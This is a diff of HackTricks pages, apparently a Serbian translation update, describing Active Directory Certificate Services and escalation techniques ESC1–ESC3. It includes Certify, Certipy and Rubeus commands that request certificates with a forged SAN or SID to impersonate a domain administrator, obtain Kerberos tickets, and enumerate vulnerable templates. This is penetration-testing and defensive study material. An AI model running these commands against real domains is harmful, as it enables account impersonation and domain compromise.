diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 94f059912..f560795dc 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -2,111 +2,121 @@ {{#include ../../../banners/hacktricks-training.md}} -## Introduction +## Uvod -### Components of a Certificate +### Komponente sertifikata -- **Subjekt** sertifikata označava njegovog vlasnika. -- **Javni ključ** je uparen sa privatno držanim ključem kako bi povezao sertifikat sa njegovim pravim vlasnikom. -- **Period važenja**, definisan datumima **NotBefore** i **NotAfter**, označava efektivnu dužinu trajanja sertifikata. -- Jedinstveni **Serijski broj**, koji obezbeđuje Sertifikaciona vlast (CA), identifikuje svaki sertifikat. -- **Izdavac** se odnosi na CA koja je izdala sertifikat. -- **SubjectAlternativeName** omogućava dodatna imena za subjekt, poboljšavajući fleksibilnost identifikacije. -- **Osnovna ograničenja** identifikuju da li je sertifikat za CA ili krajnji entitet i definišu ograničenja korišćenja. -- **Proširene namene ključeva (EKUs)** razdvajaju specifične svrhe sertifikata, kao što su potpisivanje koda ili enkripcija e-pošte, putem Identifikatora objekata (OIDs). -- **Algoritam potpisa** specificira metodu za potpisivanje sertifikata. -- **Potpis**, kreiran sa privatnim ključem izdavaoca, garantuje autentičnost sertifikata. +- The **Subject** of the certificate denotes its owner. +- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner. +- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration. +- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate. +- The **Issuer** refers to the CA that has issued the certificate. +- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility. +- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions. +- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs). +- The **Signature Algorithm** specifies the method for signing the certificate. +- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity. -### Special Considerations +### Posebne napomene -- **Alternativna imena subjekta (SANs)** proširuju primenljivost sertifikata na više identiteta, što je ključno za servere sa više domena. Sigurni procesi izdavanja su od vitalnog značaja kako bi se izbegli rizici od impersonacije od strane napadača koji manipulišu SAN specifikacijom. +- **Subject Alternative Names (SANs)** proširuju primenjivost sertifikata na više identiteta, što je ključno za servere sa više domena. Sigurni procesi izdavanja su neophodni da bi se izbegao rizik od lažiranja kroz manipulaciju specifikacije SAN-a. ### Certificate Authorities (CAs) in Active Directory (AD) -AD CS priznaje CA sertifikate u AD šumi kroz određene kontejnere, od kojih svaki ima jedinstvene uloge: +AD CS prepoznaje CA sertifikate u AD forestu kroz određene kontejnere, od kojih svaki ima svoju ulogu: -- Kontejner **Sertifikacione vlasti** sadrži sertifikate pouzdanih root CA. -- Kontejner **Usluge upisa** detaljno opisuje Enterprise CA i njihove šablone sertifikata. -- Objekat **NTAuthCertificates** uključuje CA sertifikate ovlašćene za AD autentifikaciju. -- Kontejner **AIA (Pristup informacijama o vlasti)** olakšava validaciju lanca sertifikata sa međusobnim i cross CA sertifikatima. +- **Certification Authorities** container holds trusted root CA certificates. +- **Enrolment Services** container details Enterprise CAs and their certificate templates. +- **NTAuthCertificates** object includes CA certificates authorized for AD authentication. +- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates. ### Certificate Acquisition: Client Certificate Request Flow -1. Proces zahteva počinje kada klijenti pronađu Enterprise CA. -2. CSR se kreira, sadrži javni ključ i druge detalje, nakon generisanja para javnog-privatnog ključa. -3. CA procenjuje CSR u odnosu na dostupne šablone sertifikata, izdajući sertifikat na osnovu dozvola šablona. +1. Proces zahteva počinje tako što klijenti pronalaze Enterprise CA. +2. Kreira se CSR koji sadrži public key i ostale podatke nakon generisanja para ključeva (public/private). +3. CA procenjuje CSR u odnosu na dostupne certificate templates i izdaje sertifikat bazirano na dozvolama iz template-a. 4. Nakon odobrenja, CA potpisuje sertifikat svojim privatnim ključem i vraća ga klijentu. ### Certificate Templates -Definisani unutar AD, ovi šabloni opisuju postavke i dozvole za izdavanje sertifikata, uključujući dozvoljene EKUs i prava na upis ili modifikaciju, što je ključno za upravljanje pristupom uslugama sertifikata. +Definisani u AD-u, ovi template-i opisuju podešavanja i permisije za izdavanje sertifikata, uključujući dozvoljene EKU-e i prava za enrollment ili izmenu — što je ključno za kontrolu pristupa servisima za izdavanje sertifikata. ## Certificate Enrollment -Proces upisa sertifikata pokreće administrator koji **kreira šablon sertifikata**, koji zatim **objavljuje** Enterprise Sertifikaciona vlast (CA). Ovo čini šablon dostupnim za upis klijenata, što se postiže dodavanjem imena šablona u polje `certificatetemplates` objekta Active Directory. +Proces enrolementa sertifikata pokreće administrator koji **kreira certificate template**, a zatim ga **publikuje** na Enterprise Certificate Authority (CA). Time template postaje dostupan za enrolement klijenata, što se postiže dodavanjem imena template-a u `certificatetemplates` polje Active Directory objekta. -Da bi klijent zatražio sertifikat, **prava na upis** moraju biti dodeljena. Ova prava definišu se sigurnosnim descriptorima na šablonu sertifikata i samoj Enterprise CA. Dozvole moraju biti dodeljene na oba mesta kako bi zahtev bio uspešan. +Da bi klijent mogao da zahteva sertifikat, mora mu biti dodeljeno **enrollment rights**. Ta prava su definisana kroz security descriptor-e na certificate template-u i na samom Enterprise CA. Dozvole moraju biti dodeljene na oba mesta da bi zahtev bio uspešan. ### Template Enrollment Rights -Ova prava su specificirana kroz Unose kontrole pristupa (ACEs), detaljno opisujući dozvole kao što su: +Ova prava se specifišu kroz Access Control Entries (ACEs) i opisuju dozvole kao što su: -- **Prava na upis sertifikata** i **Automatski upis sertifikata**, svako povezano sa specifičnim GUID-ovima. -- **Proširena prava**, omogućavajući sve proširene dozvole. -- **Potpuna kontrola/GenericAll**, pružajući potpunu kontrolu nad šablonom. +- **Certificate-Enrollment** i **Certificate-AutoEnrollment** rights, svaki povezan sa specifičnim GUID-ovima. +- **ExtendedRights**, omogućavajući sve proširene dozvole. +- **FullControl/GenericAll**, dajući potpuni kontrolu nad template-om. ### Enterprise CA Enrollment Rights -Prava CA su opisana u njegovom sigurnosnom descriptoru, dostupnom putem konzole za upravljanje Sertifikacionom vlasti. Neka podešavanja čak omogućavaju korisnicima sa niskim privilegijama daljinski pristup, što može biti bezbednosna zabrinutost. +Prava CA-e su definisana u njenom security descriptor-u, koji je dostupan preko Certificate Authority konzole za upravljanje. Neka podešavanja čak mogu omogućiti udaljeni pristup korisnicima sa niskim privilegijama, što predstavlja sigurnosni rizik. -### Additional Issuance Controls +### Dodatne kontrole izdavanja -Određene kontrole mogu se primeniti, kao što su: +Neke kontrole koje se mogu primeniti uključuju: -- **Odobrenje menadžera**: Postavlja zahteve u stanje čekanja dok ih ne odobri menadžer sertifikata. -- **Agenti za upis i ovlašćeni potpisi**: Specificiraju broj potrebnih potpisa na CSR-u i neophodne OIDs za aplikacione politike. +- **Manager Approval**: stavlja zahteve u pending stanje dok ne budu odobreni od strane certificate manager-a. +- **Enrolment Agents and Authorized Signatures**: specificiraju broj potrebnih potpisa na CSR-u i neophodne Application Policy OID-e. ### Methods to Request Certificates -Sertifikate je moguće zatražiti putem: +Sertifikati se mogu zahtevati putem: -1. **Protokola za upis sertifikata Windows klijenta** (MS-WCCE), koristeći DCOM interfejse. -2. **ICertPassage Remote Protocol** (MS-ICPR), putem imenovanih cevi ili TCP/IP. -3. **Web interfejsa za upis sertifikata**, sa instaliranom ulogom Web upisa Sertifikacione vlasti. -4. **Usluge za upis sertifikata** (CES), u kombinaciji sa uslugom politike upisa sertifikata (CEP). -5. **Usluge za upis mrežnih uređaja** (NDES) za mrežne uređaje, koristeći Protokol za jednostavno upisivanje sertifikata (SCEP). +1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), koristeći DCOM interfejse. +2. **ICertPassage Remote Protocol** (MS-ICPR), preko named pipes ili TCP/IP. +3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed. +4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service. +5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP). -Windows korisnici takođe mogu zatražiti sertifikate putem GUI (`certmgr.msc` ili `certlm.msc`) ili alata komandne linije (`certreq.exe` ili PowerShell-ove komande `Get-Certificate`). +Windows korisnici takođe mogu zahtevati sertifikate preko GUI-a (`certmgr.msc` ili `certlm.msc`) ili komandnih alata (`certreq.exe` ili PowerShell's `Get-Certificate` command). ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Sertifikatska Autentifikacija +## Autentifikacija sertifikatom -Active Directory (AD) podržava sertifikatsku autentifikaciju, prvenstveno koristeći **Kerberos** i **Secure Channel (Schannel)** protokole. +Active Directory (AD) podržava autentifikaciju sertifikatom, uglavnom koristeći **Kerberos** i **Secure Channel (Schannel)** protokole. -### Kerberos Proces Autentifikacije +### Kerberos autentifikacioni proces -U Kerberos procesu autentifikacije, zahtev korisnika za Ticket Granting Ticket (TGT) se potpisuje koristeći **privatni ključ** sertifikata korisnika. Ovaj zahtev prolazi kroz nekoliko validacija od strane kontrolera domena, uključujući **validnost** sertifikata, **putanju** i **status opoziva**. Validacije takođe uključuju proveru da li sertifikat dolazi iz pouzdanog izvora i potvrđivanje prisustva izdavaoca u **NTAUTH sertifikat skladištu**. Uspešne validacije rezultiraju izdavanjem TGT-a. **`NTAuthCertificates`** objekat u AD, nalazi se na: +U Kerberos autentifikacionom procesu, zahtev korisnika za Ticket Granting Ticket (TGT) potpisuje se pomoću **private key** korisnikovog sertifikata. Ovaj zahtev prolazi kroz više provera od strane domain controller-a, uključujući **validnost**, **putanju** i **status opoziva** sertifikata. Provere takođe uključuju potvrđivanje da sertifikat potiče iz pouzdanog izvora i potvrdu prisustva izdavaoca u **NTAUTH certificate store**. Uspešne provere rezultiraju izdavanjem TGT-a. Objekat **`NTAuthCertificates`** u AD-u, koji se nalazi na: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -je centralno za uspostavljanje poverenja za autentifikaciju putem sertifikata. +je ključno za uspostavljanje poverenja pri autentifikaciji pomoću sertifikata. -### Secure Channel (Schannel) Authentication +### Secure Channel (Schannel) autentifikacija -Schannel olakšava sigurne TLS/SSL veze, gde tokom rukovanja, klijent predstavlja sertifikat koji, ako je uspešno validiran, autorizuje pristup. Mapiranje sertifikata na AD nalog može uključivati Kerberosovu **S4U2Self** funkciju ili **Subject Alternative Name (SAN)** sertifikata, među drugim metodama. +Schannel omogućava sigurne TLS/SSL veze, gde klijent tokom handshake-a predstavlja sertifikat koji, ako je uspešno verifikovan, odobrava pristup. Mapiranje sertifikata na AD nalog može uključivati Kerberos-ovu funkciju **S4U2Self** ili **Subject Alternative Name (SAN)** sertifikata, između ostalih metoda. -### AD Certificate Services Enumeration +### Enumeracija AD Certificate Services -AD-ove usluge sertifikata mogu se enumerisati putem LDAP upita, otkrivajući informacije o **Enterprise Certificate Authorities (CAs)** i njihovim konfiguracijama. Ovo je dostupno bilo kojem korisniku koji je autentifikovan u domenu bez posebnih privilegija. Alati kao što su **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** se koriste za enumeraciju i procenu ranjivosti u AD CS okruženjima. +AD Certificate Services mogu se enumerisati putem LDAP upita, otkrivajući informacije o **Enterprise Certificate Authorities (CAs)** i njihovim konfiguracijama. Ovo je dostupno bilo kom korisniku autentifikovanom u domenu bez posebnih privilegija. Alati kao što su **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** koriste se za enumeraciju i procenu ranjivosti u AD CS okruženjima. Komande za korišćenje ovih alata uključuju: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -115,9 +125,11 @@ certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 certutil.exe -TCAInfo certutil -v -dstemplate ``` -## Reference +## Izvori - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index b18aeecf7..6c635ade5 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -1,109 +1,121 @@ -# AD CS Domain Escalation +# AD CS eskalacija domena {{#include ../../../banners/hacktricks-training.md}} -**Ovo je sažetak sekcija tehnika eskalacije iz postova:** + +**Ovo je sažetak sekcija o tehnikama eskalacije iz postova:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy) -## Pogrešno konfigurisani šabloni sertifikata - ESC1 +## Pogrešno konfigurisanih predložaka sertifikata - ESC1 ### Objašnjenje -### Pogrešno konfigurisani šabloni sertifikata - ESC1 Objašnjeno +### Objašnjenje Pogrešno konfigurisanih predložaka sertifikata - ESC1 -- **Prava na upis su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.** +- **Prava za enrolment su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.** - **Odobrenje menadžera nije potrebno.** -- **Nisu potrebni potpisi ovlašćenog osoblja.** -- **Sigurnosni opisi na šablonima sertifikata su previše permisivni, omogućavajući korisnicima sa niskim privilegijama da dobiju prava na upis.** -- **Šabloni sertifikata su konfigurisani da definišu EKU-e koji olakšavaju autentifikaciju:** -- Identifikatori proširene upotrebe ključeva (EKU) kao što su Klijent Autentifikacija (OID 1.3.6.1.5.5.7.3.2), PKINIT Klijent Autentifikacija (1.3.6.1.5.2.3.4), Prijava putem pametne kartice (OID 1.3.6.1.4.1.311.20.2.2), Bilo koja svrha (OID 2.5.29.37.0), ili bez EKU (SubCA) su uključeni. -- **Mogućnost da podnosioci zahteva uključe subjectAltName u Zahtev za potpisivanje sertifikata (CSR) je dozvoljena šablonom:** -- Active Directory (AD) prioritizuje subjectAltName (SAN) u sertifikatu za verifikaciju identiteta ako je prisutan. To znači da specificiranjem SAN-a u CSR-u, može se zatražiti sertifikat za impersonaciju bilo kog korisnika (npr. administratora domena). Da li podnosilac zahteva može da specificira SAN, označeno je u AD objektu šablona sertifikata kroz svojstvo `mspki-certificate-name-flag`. Ovo svojstvo je bitmask, a prisustvo `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` zastavice omogućava specificiranje SAN-a od strane podnosioca zahteva. +- **Potpisi ovlašćenog osoblja nisu potrebni.** +- **Bezbednosni deskriptori na predlošcima sertifikata su previše permisivni, što omogućava korisnicima sa niskim privilegijama da dobiju prava za enrolment.** +- **Predlošci sertifikata su konfigurisanI tako da definišu EKU-e koji omogućavaju autentikaciju:** +- Extended Key Usage (EKU) identifikatori kao što su Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ili bez EKU (SubCA) su uključeni. +- **Predložak dozvoljava zahtevateljima da uključe subjectAltName u Certificate Signing Request (CSR):** +- Active Directory (AD) daje prioritet subjectAltName (SAN) u sertifikatu za verifikaciju identiteta ako je prisutan. To znači da specificiranjem SAN u CSR-u, sertifikat može biti zatražen da se impersonira bilo koji korisnik (npr. domain administrator). Da li zahtevatelj može da specificira SAN naznačeno je u AD objektu predloška sertifikata kroz `mspki-certificate-name-flag` svojstvo. Ovo svojstvo je bitmask, i prisustvo `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag-a dopušta specificiranje SAN-a od strane zahtevatelja. > [!CAUTION] -> Konfiguracija opisana omogućava korisnicima sa niskim privilegijama da traže sertifikate sa bilo kojim SAN-om po izboru, omogućavajući autentifikaciju kao bilo koji domen principal putem Kerberos-a ili SChannel-a. +> Konfiguracija opisna iznad omogućava korisnicima sa niskim privilegijama da zatraže sertifikate sa bilo kojim izabranim SAN-om, omogućavajući autentikaciju kao bilo koji domenčki principal putem Kerberos ili SChannel. -Ova funkcija je ponekad omogućena da podrži generisanje HTTPS ili host sertifikata u hodu od strane proizvoda ili usluga implementacije, ili zbog nedostatka razumevanja. +Ova opcija je ponekad omogućena da bi se podržala dinamička generacija HTTPS ili host sertifikata od strane proizvoda ili deployment servisa, ili zbog nedostatka razumevanja. -Napomena je da kreiranje sertifikata sa ovom opcijom pokreće upozorenje, što nije slučaj kada se postojeći šablon sertifikata (kao što je šablon `WebServer`, koji ima `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` omogućeno) duplicira i zatim modifikuje da uključuje OID za autentifikaciju. +Primećeno je da kreiranje sertifikata sa ovom opcijom pokreće upozorenje, što nije slučaj kada se postojeći predložak sertifikata (poput `WebServer` predloška, koji ima `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` omogućeno) duplicira i zatim izmeni da uključi authentication OID. ### Zloupotreba -Da **pronađete ranjive šablone sertifikata** možete pokrenuti: +Da biste **pronašli ranjive predloške sertifikata** možete pokrenuti: ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Da bi se **zloupotrebila ova ranjivost za impersonaciju administratora**, može se pokrenuti: +Da biste **zloupotrebili ovu ranjivost i lažno se predstavili kao administrator**, možete pokrenuti: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -Zatim možete transformisati generisani **sertifikat u `.pfx`** format i koristiti ga za **autentifikaciju koristeći Rubeus ili certipy** ponovo: +Zatim možete pretvoriti generisani **sertifikat u `.pfx`** format i ponovo ga koristiti za **autentifikaciju koristeći Rubeus ili certipy**: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Windows binarni fajlovi "Certreq.exe" i "Certutil.exe" mogu se koristiti za generisanje PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Windows binarni fajlovi "Certreq.exe" & "Certutil.exe" mogu se koristiti za generisanje PFX fajla: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -Enumeracija šablona sertifikata unutar konfiguracionog sheme AD šume, posebno onih koji ne zahtevaju odobrenje ili potpise, koji poseduju Client Authentication ili Smart Card Logon EKU, i sa `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` oznakom omogućenom, može se izvršiti pokretanjem sledeće LDAP upita: +Enumeracija šablona sertifikata unutar konfiguracione šeme AD Foresta, tačnije onih koji ne zahtevaju odobrenje ili potpise, koji poseduju Client Authentication ili Smart Card Logon EKU, i kojima je omogućena zastavica `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, može se izvršiti pokretanjem sledećeg LDAP upita: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` -## Neispravno Konfigurisani Šabloni Sertifikata - ESC2 +## Pogrešno konfigurisanji šabloni sertifikata - ESC2 ### Objašnjenje Drugi scenario zloupotrebe je varijacija prvog: -1. Prava za upis su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA. -2. Zahtev za odobrenje menadžera je onemogućen. -3. Potreba za ovlašćenim potpisima je izostavljena. -4. Previše permisivan bezbednosni opis na šablonu sertifikata dodeljuje prava za upis sertifikata korisnicima sa niskim privilegijama. +1. Prava za enrollment su dodeljena niskoprivilegovanim korisnicima od strane Enterprise CA. +2. Zahtev za odobrenjem menadžera je onemogućen. +3. Zahtev za ovlašćenim potpisima je izostavljen. +4. Preterano permisivan security descriptor na šablonu sertifikata dodeljuje prava za enrollment sertifikata niskoprivilegovanim korisnicima. 5. **Šablon sertifikata je definisan da uključuje Any Purpose EKU ili nema EKU.** -**Any Purpose EKU** omogućava napadaču da dobije sertifikat za **bilo koju svrhu**, uključujući autentifikaciju klijenta, autentifikaciju servera, potpisivanje koda itd. Ista **tehnika korišćena za ESC3** može se primeniti za eksploataciju ovog scenarija. +The **Any Purpose EKU** omogućava napadaču da dobije sertifikat za **bilo koju namenu**, uključujući client authentication, server authentication, code signing itd. Ista **technique used for ESC3** može se upotrebiti za eksploataciju ovog scenarija. -Sertifikati sa **nema EKU**, koji deluju kao sertifikati podređenih CA, mogu se zloupotrebiti za **bilo koju svrhu** i mogu **takođe biti korišćeni za potpisivanje novih sertifikata**. Stoga, napadač može odrediti proizvoljne EKU ili polja u novim sertifikatima koristeći sertifikat podređene CA. +Sertifikati sa **no EKUs**, koji funkcionišu kao subordinate CA certificates, mogu se iskoristiti za **bilo koju namenu** i **takođe se mogu koristiti za potpisivanje novih sertifikata**. Dakle, napadač bi mogao da navede proizvoljne EKU-e ili polja u novim sertifikatima koristeći subordinate CA certificate. -Međutim, novi sertifikati kreirani za **autentifikaciju domena** neće funkcionisati ako podređena CA nije poverena od strane **`NTAuthCertificates`** objekta, što je podrazumevano podešavanje. Ipak, napadač može i dalje kreirati **nove sertifikate sa bilo kojim EKU** i proizvoljnim vrednostima sertifikata. Ovi bi mogli biti potencijalno **zloupotrebljeni** za širok spektar svrha (npr., potpisivanje koda, autentifikacija servera itd.) i mogli bi imati značajne posledice za druge aplikacije u mreži kao što su SAML, AD FS ili IPSec. +Međutim, novi sertifikati kreirani za **domain authentication** neće raditi ako subordinate CA nije verifikovan od strane objekta **`NTAuthCertificates`**, što je podrazumevana postavka. Ipak, napadač i dalje može da kreira **nove sertifikate sa bilo kojom EKU** i proizvoljnim vrednostima sertifikata. To bi se potencijalno moglo **zloupotrebiti** u širokom spektru namena (npr. code signing, server authentication itd.) i može imati značajne posledice za druge aplikacije u mreži kao što su SAML, AD FS ili IPSec. -Da bi se enumerisali šabloni koji odgovaraju ovom scenariju unutar konfiguracione šeme AD šume, može se izvršiti sledeći LDAP upit: +Da bi se izlistali šabloni koji odgovaraju ovom scenariju unutar konfiguracione šeme AD Forest-a, može se pokrenuti sledeći LDAP upit: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Pogrešno Konfigurisani Šabloni Agenta za Upis - ESC3 +## Pogrešno konfigurisani Enrolment Agent Templates - ESC3 ### Objašnjenje -Ovaj scenario je sličan prvom i drugom, ali **zloupotrebljava** **drugi EKU** (Agent za Zahtev za Sertifikat) i **2 različita šablona** (stoga ima 2 seta zahteva), +Ovaj scenario je sličan prvom i drugom, ali **zloupotrebljava** **drugi EKU** (Certificate Request Agent) i **2 različita šablona** (stoga ima 2 skupa zahteva), -**EKU Agenta za Zahtev za Sertifikat** (OID 1.3.6.1.4.1.311.20.2.1), poznat kao **Agent za Upis** u Microsoft dokumentaciji, omogućava principalu da **upisuje** za **sertifikat** u **ime drugog korisnika**. +**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), poznat kao **Enrollment Agent** u Microsoft dokumentaciji, omogućava subjektu da **zatraži** **sertifikat** u **ime drugog korisnika**. -**“Agent za upis”** se upisuje u takav **šablon** i koristi rezultantni **sertifikat da bi ko-potpisao CSR u ime drugog korisnika**. Zatim **šalje** **ko-potpisani CSR** CA, upisujući se u **šablon** koji **dozvoljava “upis u ime”**, a CA odgovara sa **sertifikatom koji pripada “drugom” korisniku**. +**„enrollment agent”** se upisuje u takav **šablon** i koristi dobijeni **sertifikat da ko-potpíše CSR u ime drugog korisnika**. Zatim **šalje** **ko-potpisani CSR** CA, upisujući se u **šablon** koji **dozvoljava „enroll on behalf of”**, i CA odgovara sa **sertifikatom koji pripada „drugom” korisniku**. **Zahtevi 1:** -- Prava za upis se dodeljuju korisnicima sa niskim privilegijama od strane Enterprise CA. +- Prava za enrollment su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA. - Zahtev za odobrenje menadžera je izostavljen. - Nema zahteva za ovlašćenim potpisima. -- Bezbednosni opis šablona sertifikata je previše permisivan, dodeljujući prava za upis korisnicima sa niskim privilegijama. -- Šablon sertifikata uključuje EKU Agenta za Zahtev za Sertifikat, omogućavajući zahtev za drugim šablonima sertifikata u ime drugih principala. +- Bezbednosni deskriptor šablona sertifikata je previše permisivan, dodeljujući prava za enrollment korisnicima sa niskim privilegijama. +- Šablon sertifikata uključuje Certificate Request Agent EKU, omogućavajući zahtev za drugim šablonima sertifikata u ime drugih subjekata. **Zahtevi 2:** -- Enterprise CA dodeljuje prava za upis korisnicima sa niskim privilegijama. +- Enterprise CA dodeljuje prava za enrollment korisnicima sa niskim privilegijama. - Odobrenje menadžera je zaobiđeno. -- Verzija šeme šablona je ili 1 ili prelazi 2, i specificira Zahtev za Izdavanje Politike Aplikacije koji zahteva EKU Agenta za Zahtev za Sertifikat. -- EKU definisan u šablonu sertifikata dozvoljava autentifikaciju domena. -- Ograničenja za agente za upis se ne primenjuju na CA. +- Verzija šeme šablona je ili 1 ili veća od 2, i specificira Application Policy Issuance Requirement koji zahteva Certificate Request Agent EKU. +- EKU definisan u šablonu sertifikata omogućava autentifikaciju u domenu. +- Ograničenja za enrollment agente nisu primenjena na CA. ### Zloupotreba -Možete koristiti [**Certify**](https://github.com/GhostPack/Certify) ili [**Certipy**](https://github.com/ly4k/Certipy) da biste zloupotrebljavali ovaj scenario: +Možete koristiti [**Certify**](https://github.com/GhostPack/Certify) ili [**Certipy**](https://github.com/ly4k/Certipy) za zloupotrebu ovog scenarija: ```bash # Request an enrollment agent certificate Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent @@ -117,39 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**Korisnici** koji su ovlašćeni da **dobiju** **sertifikat agenta za upis**, šabloni u kojima su agenti za upis ovlašćeni da se upisuju, i **nalozi** u ime kojih agent za upis može delovati mogu biti ograničeni od strane preduzeća CA. To se postiže otvaranjem `certsrc.msc` **snap-in**-a, **desnim klikom na CA**, **klikom na Svojstva**, a zatim **navigacijom** do taba “Enrollment Agents”. +Korisnici koji imaju dozvolu da dobiju **enrollment agent certificate**, 